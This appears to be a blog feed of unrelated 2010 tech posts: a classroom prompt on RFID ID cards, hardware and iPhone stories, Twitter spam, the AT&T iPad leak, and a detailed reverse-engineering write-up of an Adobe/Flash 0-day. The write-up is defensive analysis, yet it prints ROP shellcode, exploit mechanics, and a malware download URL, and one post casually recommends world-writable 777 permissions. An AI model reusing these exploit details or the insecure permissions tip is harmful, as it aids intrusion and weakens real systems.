Welcome to the weekly discussion board topic. The purpose of the board is to spark interest, research, and conversation. The instructor will post a weekly topic and the students will respond to the instructor and fellow students’ comments for points. The replies will briefly be discussed during the following class meeting.

In the news this week Germany has now mandated that every citizen carry a RFID (radio frequency identification) card with them at all times. This card will allow German authorities to “identify people with speed and accuracy”. Read the story on Slashdot found here.

Politics and opinions aside, answer briefly on the following:

• What do you believe are some serious security risks associated with this new mandate?
• Why has the basic access control protocol been criticized?
• What if the German policy was adopted here, or has it already?

Reply with your answers to this post.

Well it’s that time once again, you can see what we are doing the first week of class on your class page; look up top and to the right.

You can read more about Chase and see his work at Chase Jarvis dot com.

By Bill Detwiler Photography by Brad Rowden
Full Article

When lightning strikes a computer, charred metal, melted plastic, and burned circuits are the results.

This computer’s modem was hit with a power surge during an electrical storm. The computer was protected by a surge protector but not one with modem outlets.

The owner brought the machine to IT Systems Administrator Brad Rowden–who took these pictures.

According to Rowden “most of the components inside of the machine were a mess.”

“The case might have been salvageable with some good cleaning,” Rowden told me, “but everything in there stunk terribly.” Miraculously, the machine’s hard drive was undamaged and Rowden was able to retrieve all the customer’s data.

The owner of this computer learned the hard way that power surges can travel through telephone lines. It’s always a good idea to unplug all your computer’s cables during a storm. Or at the very least have every wire connected to a high-quality surge protector.

The redesign is coming along, welcome back. CHMOD and a 777 will go a long way while reducing frustration at the same time. I forget how fast time goes by while designing! I am liking how WordPress works compared to the previous site which had a Joomla! back end.

Just how strong is the new glass housing on the upcoming Apple iPhone 4? You might want to hold your iPhone 4 tight, as it turns out just a few drops on a flat surface can cause the special glass housing to shatter to pieces.

When he introduced the new iPhone 4 at the WWDC conference earlier this week, Apple CEO Steve Jobs said that the company developed a new technology for the glass housing of the iPhone 4. It’s called aluminosilicate glass, and is the sort of glass used in the windshield of high-speed trains and helicopters.

Unlike the older iPhone models, the iPhone 4 has both the front and back made of this kind of glass, which Apple says is chemically strengthened to be “20 times stiffer and 30 times harder than plastic.” In an Apple video, Jonathan Ive, the company’s Senior Vice President of Industrial Design, says the new glass housing is “comparable in strength to sapphire crystal.”

To test these claims, the guys at iFix your i , a company that deals with Apple iProducts repairs, got their hands on what they say are original Apple iPhone 4 parts (without the circuit board) and did some drop tests, checking if it can handle shocks and sudden impact.

The engineers at iFix your i dropped their iPhone 4 housing three times. The device survived the first two drops, but at the third drop, they say there was a loud ‘pop’ sound, and the glass housing shattered. The drop was performed from 3.5 feet up, they say. The resulting shatter is shown in the picture above (see one more at this link).

On their blog, they point out that on the old iPhone, the glass covering the display was recessed and protected by a chrome bezel, while on the iPhone 4, the glass sits on top of the steel frame, which exposes it more to damage. Note that the back of the iPhone 4 is prone to similar damage, as it’s made from the same glass material, though it is housed flush within the frame.

The glass screen cover on the iPhone 4 is optically laminated to the new high-resolution ‘Retina display’, according to aforementioned Apple video. This also could mean that it wouldn’t be very easy to repair a broken screen glass cover, and would require replacement of the whole screen.

Note that Apple doesn’t cover this sort of damage on their warranty policy, which means you will have to either pay for your replacement phone (Apple usually replaces the whole device with a refurbished model), or take it to an independent repair shop (which in turn would void your warranty, if the place is not approved by Apple).

PCWorld and Daniel Ionescu are on Twitter. Follow their updates @pcworld and @danielionescu .

by Elinor Mills
Full Article

E-mail inboxes are getting hit this week with spam campaigns that appear to be legitimate Twitter messages but which lead to malware and phishing sites, security firms warned on Wednesday.

Some e-mails masquerade as messages from Twitter’s customer support team warning the recipient that the site has detected an attempt to steal the Twitter account password and prompting the recipient to click on a link to download a “secure module” to protect the account, according to Vietnamese antivirus firm Bkis and Trend Micro.

If the link is clicked on a Trojan horse designed to target Windows will be downloaded and will install a backdoor on the machine that attackers can use to provide future instructions to the computer, as well as display pop up notices saying the computer is infected with malware and offering antivirus for sale, the firms said.

Other spam exploiting the Twitter name falsely states that the recipient has changed the e-mail address associated with the Twitter account and offers a link to click to confirm the change, according to Trend Micro. The link leads to a phishing site designed to steal the user’s Twitter password.

Some spam is using the Twitter logo but then showing ads for pharmaceuticals underneath, Trend Micro said.

“Twitter does not send links to a secure module,” Trend Micro said in a blog post. “Similarly, legitimate Twitter emails changing the email address of user accounts include the new email address in the message body and do not describe or promote any new service, as many of these phishing emails do.”

I spent the last two days with a friend of mine, Frank Boldewin of reconstructer.org, analyzing the Adobe Reader/Flash 0-day that’s being exploited in the wild this week. We had received a sample of a malicious PDF file which exploits the still unpatched vulnerability (MD5: 721601bdbec57cb103a9717eeef0bfca) and it turned out more interesting than we had expected. Here is what we found:
Part I: The PDF file

The PDF file itself is rather large. Analyzing the file with PDF Dissector, I found two interesting streams inside the PDF file. Later I will describe that there is actually a third interesting stream, belonging to object 17, in the PDF file. This stream contains an encrypted EXE file which will be dropped and executed by the shellcode. This can not be known before analyzing the shellcode though.

The first interesting stream can be found in PDF object 1. It is a binary stream that starts with the three characters CWS, the magic value of compressed Flash SWF files headers. I dumped this stream to a file and it turned out to be a valid Flash file.

The second interesting stream belongs to PDF object 10. This stream contains a very short JavaScript code snippet that heap-sprays a huge array onto the heap. In the screenshot below you can see the original code.

I then used PDF Dissector to execute the JavaScript code. The byte array that gets heap-sprayed is stored in the variable _3 after execution. I dumped this byte array to a file (see heapspray.bin in the ZIP file at the end of this post) and disassembled it with IDA Pro.

Later it will become clear that the embedded SWF file is actually exploiting the Flash player and not Adobe Reader (or rather it exploits the Flash player DLL that is shipped with Adobe Reader). The purpose of the PDF file is primarily to massage the heap into a predictable state for the Flash player exploit.
Part II: The shellcode – Stage I

In the disassembled file I expected to see a nop-sled followed by regular x86 code but this is not what I found. There is something that looks like a huge nop-sled (a long list of ‘or al, 0Ch’ instructions) but no valid code follows that nop-sled (which will later turn out not to be a nop-sled at all). Rather, following the ‘nop-sled’ I found a list of addresses that point into code of an Adobe Reader DLL called BIB.DLL. We were dealing with return-oriented shellcode here.

You can find the documented IDB of the shellcode in the ZIP file at the end of this post. For now please click on this link for a text file that contains the documented code. The beginning looks like
view source
print?
01 seg000:00000BEC dd 7004919h ; pop ecx
02 seg000:00000BEC ; pop ecx
03 seg000:00000BEC ; mov dword ptr [eax+0Ch], 1
04 seg000:00000BEC ; pop esi
05 seg000:00000BEC ; pop ebx
06 seg000:00000BEC ; retn
07 seg000:00000BF0 dd 0CCCCCCCCh ; ecx = 0xCCCCCCCC
08 seg000:00000BF4 dd 70048EFh ; ecx = 0×070048EF
09 seg000:00000BF8 dd 700156Fh ; esi = 0×0700156F
10 seg000:00000BFC dd 0CCCCCCCCh ; ebx = 0xCCCCCCCC
11 seg000:00000C00 dd 7009084h ; retn
12 seg000:00000C04 dd 7009084h ; retn

and continues for quite a while. The first column shows the address. The second column shows the values on the stack (primarily addresses to ROP gadgets in BIB.DLL). The third column shows what instructions can be found at the given addresses in BIB.DLL and what effects the shellcode has.

The ROP shellcode is a variant of the code found in this exploit POC by villy. At first, the shellcode allocates memory using NtAllocateVirtualMemory (accessed through sysenter). Then, it copies a second stage shellcode to the allocated memory and executes it.

BIB.DLL is actually a DLL file that gets randomly relocated if you have address-space layout randomization enabled on your system. Systems with enabled ASLR can not be exploited by this malicious PDF file. This does not mean that the vulnerability can not be exploited if ASLR is enabled, it’s just that the particular sample we looked at will not work in that case.
Part III: The shellcode – Stage II

The second stage shellcode is rather short. All it does is to copy the third stage shellcode to the memory allocated by the first stage. Afterwards the third stage is executed. An IDB file for the second stage is included in the ZIP file at the end of this post.
view source
print?
01 seg000:00000000 pop edx
02 seg000:00000001 nop
03 seg000:00000002 push esp
04 seg000:00000003 nop
05 seg000:00000004 pop edx
06 seg000:00000005 jmp short loc_1C
07 seg000:00000007
08 seg000:00000007 loc_7:
09 seg000:00000007 pop eax
10 seg000:00000008
11 seg000:00000008 In this loop of the second stage of
12 the shellcode, the third stage of the shellcode
13 seg000:00000008 is copied to a known address (memory allocated
14 by the first ROP stage) and executed afterwards.
15 seg000:00000008
16 seg000:00000008 CopyLoop:
17 seg000:00000008 mov ebx, [edx]
18 seg000:0000000A mov [eax], ebx
19 seg000:0000000C add eax, 4
20 seg000:0000000F add edx, 4
21 seg000:00000012 cmp ebx, 0C0C0C0Ch ; Search for this signature to stop copying.
22 seg000:00000018 jnz short CopyLoop
23 seg000:0000001A jmp short CopyTarget
24 seg000:0000001C
25 seg000:0000001C loc_1C:
26 seg000:0000001C call loc_7
27 seg000:00000021
28 seg000:00000021 After the copy loop is complete, the third stage of the shellcode begins here.
29 seg000:00000021
30 seg000:00000021 CopyTarget:
31 seg000:00000021 nop
Part IV: The shellcode – Stage III

The third stage is larger again. First, it resolves a bunch of Windows API functions through name hashes. Then, it tries to figure out which open file handle points to the malicious PDF file itself. This is done by estimating the file size of the malicious PDF file and by scanning potential candidate files for two characteristic signatures. If the malicious PDF file is found, a section of the PDF file (the third interesting stream I mentioned above) is decrypted using a simple XOR decryption and then written to the file C:\-.exe. This file is then executed.

Since the third stage is part of the heap-sprayed data you can actually find the third stage code in the IDB file of the ROP stage. The third stage code begins right after the ROP stage ends. If you want to check out the code of the third stage right now, please click on this link to see the text dump.
Part V: The dropped file -.exe

Inside the ZIP package at the end of this post you can find the commented IDB file of -.exe. Once again, this file is rather simple. Here is what it does:

* It checks whether the current user is an administrator account.
* If it’s not, download http://210.211.31.214/img/xslu.exe and execute it. Then shut down -.exe.
* If it is, it extracts a file called C:\windows\EventSystem.dll and a file called C:\windows\system32\es.ini from its own resource section.
* The BITS service (Background Intelligent Transfer Service) is shut down.
* Windows file protection is disabled.
* The original qmgr.dll file is moved to kernel64.dll
* EventSystem.dll replaces the original C:\windows\system32\qmgr.dll, C:\windows\system32\dllcache\qmgr.dll and c:\windows\servicepackfiles\i386\qmgr.dll
* qmgr.dll, EventSystem.dll, and es.ini get the timestamp of the original qmgr.dll
* The BITS service is started again, now with the dropped qmgr.dll instead of the original qmgr.dll

If you want to check out the code right now, you can click on this link to see the disassembled file.
Part VI: The dropped file EventSystem.dll

The primary purpose of EventSystem.dll, the DLL file that was registered as a service by -.exe, is to collect information about the user’s system and to send it to a server controlled by the attacker. You can see a dump of what information is collected and sent in this log file.

Additionally, the EventSystem.dll file also contains code that can download new files from the internet and execute them afterwards. You can check out the IDB file in the ZIP file at the end of this post for a complete disassembly.
Part VII: Finding the vulnerability in the Flash player

The description of the shellcode is now complete, but one question remains: What is actually the vulnerability in the Flash player? Here is what we found:

The first step was to figure out when control flow is transferred from regular Flash player code to the first stage of the shellcode. At zynamics we have a Pin tool plugin we use to automatically recognize shellcode and dump it to a file. You can find the complete trace generated by the Pin tool plugin in the ZIP file (pin_trace.txt). Here is the important part:
view source
print?
1 0×0700156F::BIB.dll 8B 41 34 mov eax, dword ptr [ecx+0x34]
2 0×07001572::BIB.dll FF 71 24 push dword ptr [ecx+0x24]
3 0×07001575::BIB.dll FF 50 08 call dword ptr [eax+0x8]
4 0×070048EF::BIB.dll 94 xchg esp, eax
5 0×070048F0::BIB.dll C3 ret
6 0×07004919::BIB.dll 59 pop ecx
7 0×0700491A::BIB.dll 59 pop ecx
8 0×0700491B::BIB.dll C7 40 0C 01 00 00 00 mov dword ptr [eax+0xc], 0×1

At address 0×07004919 of BIB.dll, the ROP code of the first stage is executed. Two instructions before, at address 0×070048EF, the original stack of the executing thread is replaced by something controlled by the attacker.

To figure out where control flow is coming from it is possible to set a breakpoint on the XCHG instruction and take a look at the stack. The return value of the active stack frame will point to memory on the heap where you can find code. This code does not belong to any code section of any module, so where does it come from? Turns out that this code is just-in-time compiled ActionScript code that is created from the malicious SWF file inside the malicious PDF file.

To analyze exactly how control flow is transferred from the JIT-ed ActionScript code to the ROP stage of the shellcode, I have created a trace with OllyDbg that shows all instructions that are executed after the just-in-time compilation of the ActionScript code but before the ROP code. You can find the trace in the ZIP file at the end of this post (olly_trace.txt). Here are the important parts:
view source
print?
01 28CDE2A0 mov eax,dword ptr ss:[ebp-44]
02 …
03 28CDE2C0 mov edx,dword ptr ds:[eax+10] EAX=25966241
04 …
05 28CDE2C6 mov ecx,dword ptr ds:[edx+2b8] EAX=25966241, EDX=20259384
06 …
07 28CDE2D5 mov dword ptr ss:[ebp-60],ecx EAX=25966241, ECX=0C0C0C0C, EDX=00259685
08 …
09 28CDE2EF mov ecx,dword ptr ss:[ebp-60] EAX=25966241, ECX=0012F5D0, EDX=00259685
10 …
11 28CDE2F8 call dword ptr ds:[ecx+0c] EAX=25966241, ECX=0C0C0C0C, EDX=00259685

The call at 28CDE2F8 goes directly to 0×0700156F in BIB.dll (see the Pin tool trace). So what is going on here? To understand these six lines of code you have to know a bit about the memory layout at address 0×25966241 (the value in EAX) and about the internals of just-in-time compiled ActionScript code.

Let’s start with the memory layout. Here is what I saw at 0×25966241 (note that the dump starts at 0×25966240).
view source
print?
1 0×25966240 C8 0E 3D 30 05 00 00 20 00 00 00 00 00 00 00 00
2 0×25966250 78 84 93 25 20 44 90 25

Now eax (0×25966241) is used as a pointer in instruction 0×28CDE2C0. You might already notice that the pointer is not aligned at all. This is unusual. Now comes the part where you need to know about compiled ActionScript internals.

When values like integer numbers or objects are created by ActionScript scripts, pointers to these objects are created and stored. Interestingly, all ActionScript values must be 8-byte aligned because the lowest three bits of pointers to such values are used to encode type information about the values. For example, if the lowest three bits of such a pointer are 101, then the pointed-to value is a boolean value. 111 identifies a double value and so on.

So apparently what is happening in the above code is that a pointer that includes type information is used as a regular pointer without stripping the type information first. If you debug this piece of code and manually clear the lowest three bits to remove the type information, the value 25966241 turns into 25966240 (which itself contains a pointer to a v-table of a class called ScriptObject, lending more credence to the theory I am exploring here). So, when [eax+10] is read without stripping the type information, the pointer 0×20259384 is read. This pointer points to the binary data that was heap-sprayed by the JavaScript code of the PDF file. If you do strip the type information though, you get the pointer 0×25938478 which is a legitimate pointer to another part of the just-in-time compiled ActionScript code.

After instruction 28CDE2C0 the register EDX points to the heap-sprayed values. Most of the heap-sprayed values are 0×0C0C0C0C DWORD values, so edx+2b8 most likely points to such a DWORD value and 0×0C0C0C0C is moved into register ECX. Through some clever heap-spraying, one iteration of the heap-sprayed data actually starts at address 0×0C0C0C0C so the memory layout starting from 0×0C0C0C0C is controlled by the attacker. He then controls the value of [ecx+0c], the address of the function to be executed next.

If you go back to the JavaScript code in the malicious PDF file now, you can see the value 156f0700 close to the beginning of the heap-sprayed string. This is just the value 0×0700156F which is the entry point to the attacker-controlled control-flow in BIB.dll (see the Pin trace above again).

We know now how control flow is transferred from the just-in-time compiled code to the shellcode. The question that remains is why does the JIT-compiler produce code that leads to incorrect pointer usage?

There are two possible options here. The first one is that the JIT-compiler has a bug and emits wrong x86 code, code that forgets to strip off the type information. I don’t think this is the case because the emitted code that leads to the control-flow hijack is generated in benign cases too. I think it is far more likely that the compiler assumes pre-conditions about the generated code that are not true in this particular situation. In all of the benign cases I have observed, the type information was stripped from the pointer before the JIT code was even executed. In the malicious case this does not happen which leads me to believe that the compiler emits code that assumes that all input pointers to that code segment have been stripped of their type information but apparently this is not always the case.

Let’s look at what could trip up the JIT compiler.
Part VII: The malformed Flash file

Using the SWFTools disassembler we had a look at the Flash file that was embedded in the PDF file. It quickly turned out (by looking at characteristic strings) that the Flash file is a modified version of AES-PHP.swf from http://flashdynamix.com/. Disassembling and comparing the original SWF file to the malicious PDF file generated just a single difference.
view source
print?
1 00206) + 0:1 getlex [protected]fl.controls:LabelButton::icon
2 00207) + 1:1 getlex [public]::Math
3 00208) + 2:1 getlocal_2
4 00209) + 3:1 getlex [public]fl.controls::ButtonLabelPlacement
5 00210) + 4:1 getproperty [public]::BOTTOM
6 00211) + 4:1 ifne ->218
view source
print?
1 00206) + 0:1 getlex [protected]fl.controls:LabelButton::icon
2 00207) + 1:1 getlex [public]::Math
3 00208) + 2:1 getlocal_2
4 00209) + 3:1 getlex [public]fl.controls::ButtonLabelPlacement
5 00210) + 4:1 newfunction [method 000001ba ]
6 00211) + 5:1 ifne ->218

The only difference can be found in line 210. While the benign Flash file tries to access the property BOTTOM, the malicious Flash file tries to create a new function object. This simple change messes up the internal ActionScript stack (as can be seen in the differing stack depth numbers after the +) because getproperty and newfunction have different effects on the ActionScript stack. Subsequent ActionScript instructions then assume a stack layout which is simply wrong. Nevertheless, the JIT compiler seems to accept this code and generates x86 code for it. The consequence of this change seems to be that preconditions for JIT-compiled code that were previously true do not hold anymore and the attacker can control the control flow as seen above.
Part VIII: The end

Now it would be interesting to figure out exactly what trips up the JIT code generation to see how it gets into this situation. I think we are going to wait for the patch for this and just use BinDiff to compare the patched version of the Flash player with the unpatched version.

You can get the malicious PDF file and all the IDB files and traces we generated from this ZIP file. We have also submitted -.exe to CWSandbox. You can see the generated report about the file’s activity here.

Oh yeah, the malicious PDF file is in the ZIP package too. Pay some attention there and don’t backdoor yourself accidentaly.

This entry was posted on 2010/06/09 at 13:14 and is filed under Other, PDF, ROP. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.

Oops. AT&T has egg on its face after leaving sensitive information on 114,000 owners of the iPad 3G exposed on the Web. A group known as Goatse Security has published the personal e-mail addresses of the victims–many of whom are popular celebrities, prominent executives and high-ranking dignitaries–that it obtained by exploiting an automated script on an AT&T server.

The true motive behind Goatse Security exposing this information is unknown. Had the group followed generally accepted vulnerability disclosure ethics, it would have contacted AT&T directly to notify them of the flaw, and allowed AT&T a reasonable amount of time to respond to the issue before announcing the discovery. And, of course, an ethical disclosure would not include exposing the compromised data. Perhaps Goatse Security simply wanted to embarrass AT&T or Apple.

The official statement I received from an AT&T spokesperson reads:

“AT&T was informed by a business customer on Monday of the potential exposure of their iPad ICC IDS. The only information that can be derived from the ICC IDS is the e-mail address attached to that device. This issue was escalated to the highest levels of the company and was corrected by Tuesday; and we have essentially turned off the feature that provided the e-mail addresses. The person or group who discovered this gap did not contact AT&T. We are continuing to investigate and will inform all customers whose e-mail addresses and ICC IDS may have been obtained. We take customer privacy very seriously and while we have fixed this problem, we apologize to our customers who were impacted.”

Thankfully, the data leak did not include more sensitive data such as credit card number or home address. While the individuals involved in the data compromise might need a stronger spam filter–or simply new e-mail addresses–there isn’t any real security concern resulting from the breach. White House Chief of Staff Rahm Emanuel, and Diane Sawyer of ABC News may be inundated with unwanted e-mail of all sorts, but most spam today is simply mass distributed to all possible combinations at a given domain. Its more likely that famous personalities might see an influx of unwanted messages from average citizens.

What was included aside from the e-mail address is the ICC-ID of each individual’s iPad 3G. The ICC-ID, or integrated circuit card identifier, is a unique code assigned to the SIM chip in the iPad which allows it to connect with AT&T’s 3G network.

There have been some concerns expressed over whether exposing the ICC-ID opens up any additional security repercussions. But, a Gawker report on the incident quotes Emmanuel Gadaix, a Nokia veteran, explaining that while there have been “vulnerabilities in GSM crypto discovered over the years, none of them involve the ICC ID… as far as I know, there are no vulnerability or exploit methods involving the ICC ID.”

The fact that there is little to no security concern resulting from the data breach offers some consolation to the 114,000 affected iPad 3G owners. However, it doesn’t do much for AT&T’s reputation with customers or its credibility with Apple.

You can follow Tony on his Facebook page , or contact him by email at tony_bradley@pcworld.com . He also tweets as @Tony_BradleyPCW .